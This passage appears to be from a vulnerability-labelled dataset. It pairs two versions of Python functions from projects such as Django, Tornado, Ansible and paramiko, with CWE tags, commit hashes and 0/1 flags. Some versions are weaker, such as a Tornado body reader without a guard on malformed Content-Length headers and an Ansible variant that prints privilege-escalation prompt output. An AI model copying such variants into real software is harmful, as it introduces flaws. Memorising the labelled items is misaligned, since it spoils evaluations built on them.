            index_name = hashlib.md5(force_bytes(index_name)).hexdigest()[:max_length]
        # It can't start with a number on Oracle, so prepend D if we need to
        if index_name[0].isdigit():
            index_name = ""D%s"" % index_name[:-1]
        return index_name"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_status_code_425(self):
        r1 = requests.codes.get(""TOO_EARLY"")
        r2 = requests.codes.get(""too_early"")
        r3 = requests.codes.get(""UNORDERED"")
        r4 = requests.codes.get(""unordered"")
        r5 = requests.codes.get(""UNORDERED_COLLECTION"")
        r6 = requests.codes.get(""unordered_collection"")

        assert r1 == 425
        assert r2 == 425
        assert r3 == 425
        assert r4 == 425
        assert r5 == 425
        assert r6 == 425",CWE-703,psf/requests,ec84f2c539d952499e0207849dfd3f73e2c11324,"def test_status_code_425(self):
        r1 = requests.codes.get(""TOO_EARLY"")
        r2 = requests.codes.get(""too_early"")
        r3 = requests.codes.get(""UNORDERED"")
        r4 = requests.codes.get(""unordered"")
        r5 = requests.codes.get(""UNORDERED_COLLECTION"")
        r6 = requests.codes.get(""unordered_collection"")

        assert r1 == 425
        assert r2 == 425
        assert r3 == 425
        assert r4 == 425"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/aggregation/tests.py,0,"def test_aggregation_subquery_annotation_exists(self):
        latest_book_pubdate_qs = (
            Book.objects.filter(publisher=OuterRef(""pk""))
            .order_by(""-pubdate"")
            .values(""pubdate"")[:1]
        )
        publisher_qs = Publisher.objects.annotate(
            latest_book_pubdate=Subquery(latest_book_pubdate_qs),
            count=Count(""book""),
        )
        self.assertTrue(publisher_qs.exists())",CWE-Unknown,django/django,4282fd468fd11a7db79307ba1c33a4960c299e4a,"def test_aggregation_subquery_annotation_exists(self):
        latest_book_pubdate_qs = (
            Book.objects.filter(publisher=OuterRef(""pk""))
            .order_by(""-pubdate"")
            .values(""pubdate"")[:1]
        )
        publisher_qs = Publisher.objects.annotate(
            latest_book_pubdate=Subquery(latest_book_pubdate_qs),
            count=Count(""book""),
        )
        self.assertTrue(publisher_qs.exists())"
,UNKNOWN,UNKNOWN,tests/utils/test_log_handlers.py,1,"def test__read_when_local(self, mock_read_local, create_task_instance):
        """"""
        Test if local log file exists, then values returned from _read_from_local should be incorporated
        into returned log.
        """"""
        path = Path(
            ""dag_id=dag_for_testing_local_log_read/run_id=scheduled__2016-01-01T00:00:00+00:00/task_id=task_for_testing_local_log_read/attempt=1.log""
        )
        mock_read_local.return_value = ([""the messages""], [""the log""])
        local_log_file_read = create_task_instance(
            dag_id=""dag_for_testing_local_log_read"",
            task_id=""task_for_testing_local_log_read"",
            run_type=DagRunType.SCHEDULED,
            execution_date=DEFAULT_DATE,
        )
        fth = FileTaskHandler("""")
        actual = fth._read(ti=local_log_file_read, try_number=1)
        mock_read_local.assert_called_with(path)
        assert ""*** the messages\n"" in actual[0]
        assert actual[0].endswith(""the log"")
        assert actual[1] == {""end_of_log"": True, ""log_pos"": 7}",CWE-703,apache/airflow,2db983933bde98d7f5875afa37ad6cd1366a59c8,"def test__read_when_local(self, mock_read_local, create_task_instance):
        """"""
        Test if local log file exists, then values returned from _read_from_local should be incorporated
        into returned log.
        """"""
        path = Path(
            ""dag_id=dag_for_testing_local_log_read/run_id=scheduled__2016-01-01T00:00:00+00:00/task_id=task_for_testing_local_log_read/attempt=1.log""
        )
        mock_read_local.return_value = ([""the messages""], [""the log""])
        local_log_file_read = create_task_instance(
            dag_id=""dag_for_testing_local_log_read"",
            task_id=""task_for_testing_local_log_read"",
            run_type=DagRunType.SCHEDULED,
            execution_date=DEFAULT_DATE,
        )
        fth = FileTaskHandler("""")
        actual = fth._read(ti=local_log_file_read, try_number=1)
        mock_read_local.assert_called_with(path)
        assert actual == (""*** the messages\nthe log"", {""end_of_log"": True, ""log_pos"": 7})"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def getPageWordSet(page):
    """"""
    Returns word set used in page content

    >>> sorted(getPageWordSet(u'<html><title>foobar</title><body>test</body></html>')) == [u'foobar', u'test']
    True
    """"""

    retVal = set()

    # only if the page's charset has been successfully identified
    if isinstance(page, six.string_types):
        retVal = set(_.group(0) for _ in re.finditer(r""\w+"", getFilteredPageContent(page)))

    return retVal",,sqlmapproject/sqlmap,2693da6a7149521281a4ea38a600c8c235917ab4,"def getPageWordSet(page):
    """"""
    Returns word set used in page content

    >>> sorted(getPageWordSet(u'<html><title>foobar</title><body>test</body></html>')) == [u'foobar', u'test']
    True
    """"""

    retVal = set()

    # only if the page's charset has been successfully identified
    if isinstance(page, six.text_type):
        retVal = set(_.group(0) for _ in re.finditer(r""\w+"", getFilteredPageContent(page)))

    return retVal"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/gis_tests/test_geoip.py,0,"def test04_city(self):
        ""Testing GeoIP city querying methods.""
        g = GeoIP(country='<foo>')

        queries = [self.addr]
        if self._is_dns_available(self.fqdn):
            queries.append(self.fqdn)
        for query in queries:
            # Country queries should still work.
            for func in (g.country_code, g.country_code_by_addr, g.country_code_by_name):
                self.assertEqual('US', func(query))
            for func in (g.country_name, g.country_name_by_addr, g.country_name_by_name):
                self.assertEqual('United States', func(query))
            self.assertEqual({'country_code': 'US', 'country_name': 'United States'},
                             g.country(query))

            # City information dictionary.
            d = g.city(query)
            self.assertEqual('USA', d['country_code3'])
            self.assertEqual('Houston', d['city'])
            self.assertEqual('TX', d['region'])
            self.assertEqual(713, d['area_code'])
            geom = g.geos(query)
            self.assertIsInstance(geom, GEOSGeometry)
            lon, lat = (-95.4010, 29.7079)
            lat_lon = g.lat_lon(query)
            lat_lon = (lat_lon[1], lat_lon[0])
            for tup in (geom.tuple, g.coords(query), g.lon_lat(query), lat_lon):
                self.assertAlmostEqual(lon, tup[0], 0)
                self.assertAlmostEqual(lat, tup[1], 0)",CWE-Unknown,django/django,081fdaf110386db940d834ba51d93e23aa293fcd,"def test04_city(self):
        ""Testing GeoIP city querying methods.""
        g = GeoIP(country='<foo>')

        queries = [self.addr]
        if self._is_dns_available(self.fqdn):
            queries.append(self.fqdn)
        for query in queries:
            # Country queries should still work.
            for func in (g.country_code, g.country_code_by_addr, g.country_code_by_name):
                self.assertEqual('US', func(query))
            for func in (g.country_name, g.country_name_by_addr, g.country_name_by_name):
                self.assertEqual('United States', func(query))
            self.assertEqual({'country_code': 'US', 'country_name': 'United States'},
                             g.country(query))

            # City information dictionary.
            d = g.city(query)
            self.assertEqual('USA', d['country_code3'])
            self.assertEqual('Houston', d['city'])
            self.assertEqual('TX', d['region'])
            self.assertEqual(713, d['area_code'])
            geom = g.geos(query)
            self.assertIsInstance(geom, GEOSGeometry)
            lon, lat = (-95.4010, 29.7079)
            lat_lon = g.lat_lon(query)
            lat_lon = (lat_lon[1], lat_lon[0])
            for tup in (geom.tuple, g.coords(query), g.lon_lat(query), lat_lon):
                self.assertAlmostEqual(lon, tup[0], 4)
                self.assertAlmostEqual(lat, tup[1], 4)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/testing.py,0,"def make_test_environ_builder(app, path='/', base_url=None, *args, **kwargs):
    """"""Creates a new test builder with some application defaults thrown in.""""""
    http_host = app.config.get('SERVER_NAME')
    app_root = app.config.get('APPLICATION_ROOT')
    if base_url is None:
        url = url_parse(path)
        base_url = 'http://%s/' % (url.netloc or http_host or 'localhost')
        if app_root:
            base_url += app_root.lstrip('/')
        if url.netloc:
            path = url.path
            if url.query:
                path += '?' + url.query

    if 'json' in kwargs:
        if 'data' in kwargs:
            raise ValueError('Client cannot provide both `json` and `data`')
        kwargs['data'] = json_dumps(kwargs.pop('json'))

        # Only set Content-Type when not explicitly provided
        if 'content_type' not in kwargs:
            kwargs['content_type'] = 'application/json'

    return EnvironBuilder(path, base_url, *args, **kwargs)",,pallets/flask,136a833a8d65f2b89c277d9b909fef5f8a4628de,"def make_test_environ_builder(app, path='/', base_url=None, *args, **kwargs):
    """"""Creates a new test builder with some application defaults thrown in.""""""
    http_host = app.config.get('SERVER_NAME')
    app_root = app.config.get('APPLICATION_ROOT')
    if base_url is None:
        url = url_parse(path)
        base_url = 'http://%s/' % (url.netloc or http_host or 'localhost')
        if app_root:
            base_url += app_root.lstrip('/')
        if url.netloc:
            path = url.path
            if url.query:
                path += '?' + url.query

    if 'json' in kwargs:
        if 'data' in kwargs:
            raise ValueError('Client cannot provide both `json` and `data`')
        kwargs['data'] = json_dumps(kwargs['json'])

        # Only set Content-Type when not explicitly provided
        if 'content_type' not in kwargs:
            kwargs['content_type'] = 'application/json'

    return EnvironBuilder(path, base_url, *args, **kwargs)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/http1connection.py,0,"def _read_body(self, code, headers, delegate):
        if ""Content-Length"" in headers:
            if ""Transfer-Encoding"" in headers:
                # Response cannot contain both Content-Length and
                # Transfer-Encoding headers.
                # http://tools.ietf.org/html/rfc7230#section-3.3.3
                raise httputil.HTTPInputError(
                    ""Response with both Transfer-Encoding and Content-Length"")
            if "","" in headers[""Content-Length""]:
                # Proxies sometimes cause Content-Length headers to get
                # duplicated.  If all the values are identical then we can
                # use them but if they differ it's an error.
                pieces = re.split(r',\s*', headers[""Content-Length""])
                if any(i != pieces[0] for i in pieces):
                    raise httputil.HTTPInputError(
                        ""Multiple unequal Content-Lengths: %r"" %
                        headers[""Content-Length""])
                headers[""Content-Length""] = pieces[0]

            try:
                content_length = int(headers[""Content-Length""])
            except ValueError:
                # Handles non-integer Content-Length value.
                raise httputil.HTTPInputError(
                    ""Only integer Content-Length is allowed: %s"" % headers[""Content-Length""])

            if content_length > self._max_body_size:
                raise httputil.HTTPInputError(""Content-Length too long"")
        else:
            content_length = None

        if code == 204:
            # This response code is not allowed to have a non-empty body,
            # and has an implicit length of zero instead of read-until-close.
            # http://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.3
            if (""Transfer-Encoding"" in headers or
                    content_length not in (None, 0)):
                raise httputil.HTTPInputError(
                    ""Response with code %d should not have body"" % code)
            content_length = 0

        if content_length is not None:
            return self._read_fixed_body(content_length, delegate)
        if headers.get(""Transfer-Encoding"") == ""chunked"":
            return self._read_chunked_body(delegate)
        if self.is_client:
            return self._read_body_until_close(delegate)
        return None",CWE-Unknown,tornadoweb/tornado,8bf93234a31726a51ddb8134cd08a468cc8f3282,"def _read_body(self, code, headers, delegate):
        if ""Content-Length"" in headers:
            if ""Transfer-Encoding"" in headers:
                # Response cannot contain both Content-Length and
                # Transfer-Encoding headers.
                # http://tools.ietf.org/html/rfc7230#section-3.3.3
                raise httputil.HTTPInputError(
                    ""Response with both Transfer-Encoding and Content-Length"")
            if "","" in headers[""Content-Length""]:
                # Proxies sometimes cause Content-Length headers to get
                # duplicated.  If all the values are identical then we can
                # use them but if they differ it's an error.
                pieces = re.split(r',\s*', headers[""Content-Length""])
                if any(i != pieces[0] for i in pieces):
                    raise httputil.HTTPInputError(
                        ""Multiple unequal Content-Lengths: %r"" %
                        headers[""Content-Length""])
                headers[""Content-Length""] = pieces[0]
            content_length = int(headers[""Content-Length""])

            if content_length > self._max_body_size:
                raise httputil.HTTPInputError(""Content-Length too long"")
        else:
            content_length = None

        if code == 204:
            # This response code is not allowed to have a non-empty body,
            # and has an implicit length of zero instead of read-until-close.
            # http://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.3
            if (""Transfer-Encoding"" in headers or
                    content_length not in (None, 0)):
                raise httputil.HTTPInputError(
                    ""Response with code %d should not have body"" % code)
            content_length = 0

        if content_length is not None:
            return self._read_fixed_body(content_length, delegate)
        if headers.get(""Transfer-Encoding"") == ""chunked"":
            return self._read_chunked_body(delegate)
        if self.is_client:
            return self._read_body_until_close(delegate)
        return None"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/connections/paramiko_ssh.py,0,"def exec_command(self, cmd, tmp_path, in_data=None, sudoable=True):
        ''' run a command on the remote host '''

        super(Connection, self).exec_command(cmd, tmp_path, in_data=in_data, sudoable=sudoable)

        if in_data:
            raise AnsibleError(""Internal Error: this module does not support optimized module pipelining"")

        bufsize = 4096

        try:
            self.ssh.get_transport().set_keepalive(5)
            chan = self.ssh.get_transport().open_session()
        except Exception as e:
            msg = ""Failed to open session""
            if len(str(e)) > 0:
                msg += "": %s"" % str(e)
            raise AnsibleConnectionFailure(msg)

        # sudo usually requires a PTY (cf. requiretty option), therefore
        # we give it one by default (pty=True in ansble.cfg), and we try
        # to initialise from the calling environment
        if C.PARAMIKO_PTY:
            chan.get_pty(term=os.getenv('TERM', 'vt100'), width=int(os.getenv('COLUMNS', 0)), height=int(os.getenv('LINES', 0)))

        self._display.vvv(""EXEC %s"" % cmd, host=self._play_context.remote_addr)

        no_prompt_out = ''
        no_prompt_err = ''
        become_output = ''

        try:
            chan.exec_command(cmd)
            if self._play_context.prompt:
                if self._play_context.become and self._play_context.become_pass:
                    while True:
                        self._display.debug('Waiting for Privilege Escalation input')
                        if self.check_become_success(become_output) or self.check_password_prompt(become_output):
                            break
                        chunk = chan.recv(bufsize)
                        self._display.debug(""chunk is: %s"" % chunk)
                        if not chunk:
                            if 'unknown user' in become_output:
                                raise AnsibleError(
                                    'user %s does not exist' % become_user)
                            else:
                                raise AnsibleError('ssh connection ' +
                                    'closed waiting for password prompt')
                        become_output += chunk
                    if not self.check_become_success(become_output):
                        if self._play_context.become:
                            chan.sendall(self._play_context.become_pass + '\n')
                    else:
                        no_prompt_out += become_output
                        no_prompt_err += become_output
        except socket.timeout:
            raise AnsibleError('ssh timed out waiting for privilege escalation.\n' + become_output)

        stdout = ''.join(chan.makefile('rb', bufsize))
        stderr = ''.join(chan.makefile_stderr('rb', bufsize))

        return (chan.recv_exit_status(), '', no_prompt_out + stdout, no_prompt_out + stderr)",,ansible/ansible,df768e0db4060db9ba304df12d469d0b1ec55df2,"def exec_command(self, cmd, tmp_path, in_data=None, sudoable=True):
        ''' run a command on the remote host '''

        super(Connection, self).exec_command(cmd, tmp_path, in_data=in_data, sudoable=sudoable)

        if in_data:
            raise AnsibleError(""Internal Error: this module does not support optimized module pipelining"")

        bufsize = 4096

        try:
            self.ssh.get_transport().set_keepalive(5)
            chan = self.ssh.get_transport().open_session()
        except Exception as e:
            msg = ""Failed to open session""
            if len(str(e)) > 0:
                msg += "": %s"" % str(e)
            raise AnsibleConnectionFailure(msg)

        # sudo usually requires a PTY (cf. requiretty option), therefore
        # we give it one by default (pty=True in ansble.cfg), and we try
        # to initialise from the calling environment
        if C.PARAMIKO_PTY:
            chan.get_pty(term=os.getenv('TERM', 'vt100'), width=int(os.getenv('COLUMNS', 0)), height=int(os.getenv('LINES', 0)))

        self._display.vvv(""EXEC %s"" % cmd, host=self._play_context.remote_addr)

        no_prompt_out = ''
        no_prompt_err = ''
        become_output = ''

        try:
            chan.exec_command(cmd)
            if self._play_context.prompt:
                if self._play_context.become and self._play_context.become_pass:
                    while True:
                        self._display.debug('Waiting for Privilege Escalation input')
                        if self.check_become_success(become_output) or self.check_password_prompt(become_output):
                            break
                        chunk = chan.recv(bufsize)
                        print(""chunk is: %s"" % chunk)
                        if not chunk:
                            if 'unknown user' in become_output:
                                raise AnsibleError(
                                    'user %s does not exist' % become_user)
                            else:
                                raise AnsibleError('ssh connection ' +
                                    'closed waiting for password prompt')
                        become_output += chunk
                    if not self.check_become_success(become_output):
                        if self._play_context.become:
                            chan.sendall(self._play_context.become_pass + '\n')
                    else:
                        no_prompt_out += become_output
                        no_prompt_err += become_output
        except socket.timeout:
            raise AnsibleError('ssh timed out waiting for privilege escalation.\n' + become_output)

        stdout = ''.join(chan.makefile('rb', bufsize))
        stderr = ''.join(chan.makefile_stderr('rb', bufsize))

        return (chan.recv_exit_status(), '', no_prompt_out + stdout, no_prompt_out + stderr)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/clint/src/clint/rules.py,0,"def check(node: ast.expr, resolver: Resolver) -> bool:
        """"""
        Returns True if the `@experimental` decorator from mlflow.utils.annotations is used
        incorrectly.
        """"""
        resolved = resolver.resolve(node)
        if not resolved:
            return False

        if resolved != [""mlflow"", ""utils"", ""annotations"", ""experimental""]:
            return False

        if not isinstance(node, ast.Call):
            return True

        version = next((k.value for k in node.keywords if k.arg == ""version""), None)
        if version is None:
            # No `version` argument, invalid usage
            return True

        if not isinstance(version, ast.Constant) or not isinstance(version.value, str):
            # `version` is not a string literal, invalid usage
            return True

        if not _is_valid_version(version.value):
            # `version` is not a valid semantic version, # invalid usage
            return True

        return False",,mlflow/mlflow,396d25e6d9ae7ce33526ce508c28d5487f2e8009,"def check(node: ast.expr, resolver: Resolver) -> bool:
        """"""
        Returns True if the `@experimental` decorator from mlflow.utils.annotations is used
        incorrectly.
        """"""
        resolved = resolver.resolve(node)
        if not resolved:
            return False

        if resolved != [""mlflow"", ""utils"", ""annotations"", ""experimental""]:
            return False

        if not isinstance(node, ast.Call):
            return True

        version = next((k.value for k in node.keywords if k.arg == ""version""), None)
        if version is None:
            # No `version` argument, invalid usage
            return True

        if not isinstance(version, ast.Constant) or not isinstance(version.value, str):
            # `version` is not a string literal, invalid usage
            return True

        if not _is_valid_version(version.value):
            # `version` is not a valid semantic version, # invalid usage
            return True

        return False"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/sessions/backends/file.py,0,"def delete(self, session_key=None):
        if session_key is None:
            if self.session_key is None:
                return
            session_key = self.session_key
        try:
            os.unlink(self._key_to_file(session_key))
        except OSError:
            pass",CWE-Unknown,django/django,80fe2f439102dc748ff8ddd661d94935915bd3e7,"def delete(self, session_key=None):
        if session_key is None:
            if self.session_key is None:
                return
            session_key = self.session_key
        try:
            os.unlink(self._key_to_file(session_key))
        except OSError:
            pass"
,UNKNOWN,UNKNOWN,paramiko/client.py,1,"def connect(
        self,
        hostname,
        port=SSH_PORT,
        username=None,
        password=None,
        pkey=None,
        key_filename=None,
        timeout=None,
        allow_agent=True,
        look_for_keys=True,
        compress=False,
        sock=None,
        gss_auth=False,
        gss_kex=False,
        gss_deleg_creds=True,
        gss_host=None,
        banner_timeout=None
    ):
        """"""
        Connect to an SSH server and authenticate to it.  The server's host key
        is checked against the system host keys (see `load_system_host_keys`)
        and any local host keys (`load_host_keys`).  If the server's hostname
        is not found in either set of host keys, the missing host key policy
        is used (see `set_missing_host_key_policy`).  The default policy is
        to reject the key and raise an `.SSHException`.

        Authentication is attempted in the following order of priority:

            - The ``pkey`` or ``key_filename`` passed in (if any)
            - Any key we can find through an SSH agent
            - Any ""id_rsa"", ""id_dsa"" or ""id_ecdsa"" key discoverable in
              ``~/.ssh/``
            - Plain username/password auth, if a password was given

        If a private key requires a password to unlock it, and a password is
        passed in, that password will be used to attempt to unlock the key.

        :param str hostname: the server to connect to
        :param int port: the server port to connect to
        :param str username:
            the username to authenticate as (defaults to the current local
            username)
        :param str password:
            a password to use for authentication or for unlocking a private key
        :param .PKey pkey: an optional private key to use for authentication
        :param str key_filename:
            the filename, or list of filenames, of optional private key(s) to
            try for authentication
        :param float timeout:
            an optional timeout (in seconds) for the TCP connect
        :param bool allow_agent:
            set to False to disable connecting to the SSH agent
        :param bool look_for_keys:
            set to False to disable searching for discoverable private key
            files in ``~/.ssh/``
        :param bool compress: set to True to turn on compression
        :param socket sock:
            an open socket or socket-like object (such as a `.Channel`) to use
            for communication to the target host
        :param bool gss_auth:
            ``True`` if you want to use GSS-API authentication
        :param bool gss_kex:
            Perform GSS-API Key Exchange and user authentication
        :param bool gss_deleg_creds: Delegate GSS-API client credentials or not
        :param str gss_host:
            The targets name in the kerberos database. default: hostname
        :param float banner_timeout: an optional timeout (in seconds) to wait
            for the SSH banner to be presented.

        :raises BadHostKeyException: if the server's host key could not be
            verified
        :raises AuthenticationException: if authentication failed
        :raises SSHException: if there was any other error connecting or
            establishing an SSH session
        :raises socket.error: if a socket error occurred while connecting

        .. versionchanged:: 1.15
            Added the ``banner_timeout``, ``gss_auth``, ``gss_kex``,
            ``gss_deleg_creds`` and ``gss_host`` arguments.
        """"""
        if not sock:
            errors = {}
            # Try multiple possible address families (e.g. IPv4 vs IPv6)
            to_try = list(self._families_and_addresses(hostname, port))
            for af, addr in to_try:
                try:
                    sock = socket.socket(af, socket.SOCK_STREAM)
                    if timeout is not None:
                        try:
                            sock.settimeout(timeout)
                        except:
                            pass
                    retry_on_signal(lambda: sock.connect(addr))
                    # Break out of the loop on success
                    break
                except socket.error as e:
                    # Raise anything that isn't a straight up connection error
                    # (such as a resolution error)
                    if e.errno not in (ECONNREFUSED, EHOSTUNREACH):
                        raise
                    # Capture anything else so we know how the run looks once
                    # iteration is complete. Retain info about which attempt
                    # this was.
                    errors[addr] = e

            # Make sure we explode usefully if no address family attempts
            # succeeded. We've no way of knowing which error is the ""right""
            # one, so we construct a hybrid exception containing all the real
            # ones, of a subclass that client code should still be watching for
            # (socket.error)
            if len(errors) == len(to_try):
                raise NoValidConnectionsError(errors)

        t = self._transport = Transport(sock, gss_kex=gss_kex, gss_deleg_creds=gss_deleg_creds)
        t.use_compression(compress=compress)
        if gss_kex and gss_host is None:
            t.set_gss_host(hostname)
        elif gss_kex and gss_host is not None:
            t.set_gss_host(gss_host)
        else:
            pass
        if self._log_channel is not None:
            t.set_log_channel(self._log_channel)
        if banner_timeout is not None:
            t.banner_timeout = banner_timeout
        t.start_client(timeout=timeout)

        server_key = t.get_remote_server_key()
        keytype = server_key.get_name()

        if port == SSH_PORT:
            server_hostkey_name = hostname
        else:
            server_hostkey_name = ""[%s]:%d"" % (hostname, port)

        # If GSS-API Key Exchange is performed we are not required to check the
        # host key, because the host is authenticated via GSS-API / SSPI as
        # well as our client.
        if not self._transport.gss_kex_used:
            our_server_key = self._system_host_keys.get(server_hostkey_name,
                                                         {}).get(keytype, None)
            if our_server_key is None:
                our_server_key = self._host_keys.get(server_hostkey_name,
                                                     {}).get(keytype, None)
            if our_server_key is None:
                # will raise exception if the key is rejected; let that fall out
                self._policy.missing_host_key(self, server_hostkey_name,
                                              server_key)
                # if the callback returns, assume the key is ok
                our_server_key = server_key

            if server_key != our_server_key:
                raise BadHostKeyException(hostname, server_key, our_server_key)

        if username is None:
            username = getpass.getuser()

        if key_filename is None:
            key_filenames = []
        elif isinstance(key_filename, string_types):
            key_filenames = [key_filename]
        else:
            key_filenames = key_filename
        if gss_host is None:
            gss_host = hostname
        self._auth(username, password, pkey, key_filenames, allow_agent,
                   look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)",CWE-703,paramiko/paramiko,887282171891146c6d4ff0a4151bc316c24e85b6,"def connect(
        self,
        hostname,
        port=SSH_PORT,
        username=None,
        password=None,
        pkey=None,
        key_filename=None,
        timeout=None,
        allow_agent=True,
        look_for_keys=True,
        compress=False,
        sock=None,
        gss_auth=False,
        gss_kex=False,
        gss_deleg_creds=True,
        gss_host=None,
        banner_timeout=None
    ):
        """"""
        Connect to an SSH server and authenticate to it.  The server's host key
        is checked against the system host keys (see `load_system_host_keys`)
        and any local host keys (`load_host_keys`).  If the server's hostname
        is not found in either set of host keys, the missing host key policy
        is used (see `set_missing_host_key_policy`).  The default policy is
        to reject the key and raise an `.SSHException`.

        Authentication is attempted in the following order of priority:

            - The ``pkey`` or ``key_filename`` passed in (if any)
            - Any key we can find through an SSH agent
            - Any ""id_rsa"", ""id_dsa"" or ""id_ecdsa"" key discoverable in
              ``~/.ssh/``
            - Plain username/password auth, if a password was given

        If a private key requires a password to unlock it, and a password is
        passed in, that password will be used to attempt to unlock the key.

        :param str hostname: the server to connect to
        :param int port: the server port to connect to
        :param str username:
            the username to authenticate as (defaults to the current local
            username)
        :param str password:
            a password to use for authentication or for unlocking a private key
        :param .PKey pkey: an optional private key to use for authentication
        :param str key_filename:
            the filename, or list of filenames, of optional private key(s) to
            try for authentication
        :param float timeout:
            an optional timeout (in seconds) for the TCP connect
        :param bool allow_agent:
            set to False to disable connecting to the SSH agent
        :param bool look_for_keys:
            set to False to disable searching for discoverable private key
            files in ``~/.ssh/``
        :param bool compress: set to True to turn on compression
        :param socket sock:
            an open socket or socket-like object (such as a `.Channel`) to use
            for communication to the target host
        :param bool gss_auth:
            ``True`` if you want to use GSS-API authentication
        :param bool gss_kex:
            Perform GSS-API Key Exchange and user authentication
        :param bool gss_deleg_creds: Delegate GSS-API client credentials or not
        :param str gss_host:
            The targets name in the kerberos database. default: hostname
        :param float banner_timeout: an optional timeout (in seconds) to wait
            for the SSH banner to be presented.

        :raises BadHostKeyException: if the server's host key could not be
            verified
        :raises AuthenticationException: if authentication failed
        :raises SSHException: if there was any other error connecting or
            establishing an SSH session
        :raises socket.error: if a socket error occurred while connecting

        .. versionchanged:: 1.15
            Added the ``banner_timeout``, ``gss_auth``, ``gss_kex``,
            ``gss_deleg_creds`` and ``gss_host`` arguments.
        """"""
        if not sock:
            errors = {}
            # Try multiple possible address families (e.g. IPv4 vs IPv6)
            to_try = list(self._families_and_addresses(hostname, port))
            for af, addr in to_try:
                try:
                    sock = socket.socket(af, socket.SOCK_STREAM)
                    if timeout is not None:
                        try:
                            sock.settimeout(timeout)
                        except:
                            pass
                    retry_on_signal(lambda: sock.connect(addr))
                    # Break out of the loop on success
                    break
                except socket.error as e:
                    # Raise anything that isn't a straight up connection error
                    # (such as a resolution error)
                    if e.errno not in (ECONNREFUSED, EHOSTUNREACH):
                        raise
                    # Capture anything else so we know how the run looks once
                    # iteration is complete. Retain info about which attempt
                    # this was.
                    errors[addr] = e

            # Make sure we explode usefully if no address family attempts
            # succeeded. We've no way of knowing which error is the ""right""
            # one, so we construct a hybrid exception containing all the real
            # ones, of a subclass that client code should still be watching for
            # (socket.error)
            if len(errors) == len(to_try):
                raise NoValidConnectionsError(errors)

        t = self._transport = Transport(sock, gss_kex=gss_kex, gss_deleg_creds=gss_deleg_creds)
        t.use_compression(compress=compress)
        if gss_kex and gss_host is None:
            t.set_gss_host(hostname)
        elif gss_kex and gss_host is not None:
            t.set_gss_host(gss_host)
        else:
            pass
        if self._log_channel is not None:
            t.set_log_channel(self._log_channel)
        if banner_timeout is not None:
            t.banner_timeout = banner_timeout
        t.start_client(timeout=timeout)

        server_key = t.get_remote_server_key()
        keytype = server_key.get_name()

        if port == SSH_PORT:
            server_hostkey_name = hostname
        else:
            server_hostkey_name = ""[%s]:%d"" % (hostname, port)

        # If GSS-API Key Exchange is performed we are not required to check the
        # host key, because the host is authenticated via GSS-API / SSPI as
        # well as our client.
        if not self._transport.use_gss_kex:
            our_server_key = self._system_host_keys.get(server_hostkey_name,
                                                         {}).get(keytype, None)
            if our_server_key is None:
                our_server_key = self._host_keys.get(server_hostkey_name,
                                                     {}).get(keytype, None)
            if our_server_key is None:
                # will raise exception if the key is rejected; let that fall out
                self._policy.missing_host_key(self, server_hostkey_name,
                                              server_key)
                # if the callback returns, assume the key is ok
                our_server_key = server_key

            if server_key != our_server_key:
                raise BadHostKeyException(hostname, server_key, our_server_key)

        if username is None:
            username = getpass.getuser()

        if key_filename is None:
            key_filenames = []
        elif isinstance(key_filename, string_types):
            key_filenames = [key_filename]
        else:
            key_filenames = key_filename
        if gss_host is None:
            gss_host = hostname
        self._auth(username, password, pkey, key_filenames, allow_agent,
                   look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/network/nso/nso.py,0,"def _get_type(self, parent_path, key):
        all_schema = self._ensure_schema_cached(parent_path)
        parent_schema = all_schema['data']
        meta = all_schema['meta']

        schema = self._find_child(parent_path, parent_schema, key)
        if self._is_leaf(schema):
            path_type = schema['type']
            if path_type.get('primitive', False):
                return path_type['name']
            else:
                path_type_key = '{0}:{1}'.format(
                    path_type['namespace'], path_type['name'])
                type_info = meta['types'][path_type_key]
                return type_info[-1]['name']
        return None",,ansible/ansible,c8a5e689e36e328085782928f85e9e2c6d934ecf,"def _get_type(self, parent_path, key):
        all_schema = self._ensure_schema_cached(parent_path)
        parent_schema = all_schema['data']
        meta = all_schema['meta']

        schema = self._get_child(parent_schema, key)
        if self._is_leaf(schema):
            path_type = schema['type']
            if path_type.get('primitive', False):
                return path_type['name']
            else:
                path_type_key = '{0}:{1}'.format(
                    path_type['namespace'], path_type['name'])
                type_info = meta['types'][path_type_key]
                return type_info[-1]['name']
        return None"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/bandit.py,0,"def main():
    # bring our logging stuff up as early as possible
    debug = ('-d' in sys.argv or '--debug' in sys.argv)
    _init_logger(debug)
    # By default path would be /etx/xdg/bandit, we want system paths
    os.environ['XDG_CONFIG_DIRS'] = '/etc:/usr/local/etc'
    extension_mgr = _init_extensions()

    # now do normal startup
    parser = argparse.ArgumentParser(
        description='Bandit - a Python source code analyzer.'
    )
    parser.add_argument(
        'targets', metavar='targets', type=str, nargs='+',
        help='source file(s) or directory(s) to be tested'
    )
    parser.add_argument(
        '-r', '--recursive', dest='recursive',
        action='store_true', help='process files in subdirectories'
    )
    parser.add_argument(
        '-a', '--aggregate', dest='agg_type',
        action='store', default='file', type=str,
        choices=['file', 'vuln'],
        help='group results by vulnerability type or file it occurs in'
    )
    parser.add_argument(
        '-n', '--number', dest='context_lines',
        action='store', default=3, type=int,
        help='max number of code lines to display for each issue identified'
    )
    parser.add_argument(
        '-c', '--configfile', dest='config_file',
        action='store', default=None, type=str,
        help=('if omitted default locations are checked. '
              'Check documentation for searched paths')
    )
    parser.add_argument(
        '-p', '--profile', dest='profile',
        action='store', default=None, type=str,
        help='test set profile in config to use (defaults to all tests)'
    )
    parser.add_argument(
        '-l', '--level', dest='severity', action='count',
        default=1, help=('results severity filter. Show only issues of a given'
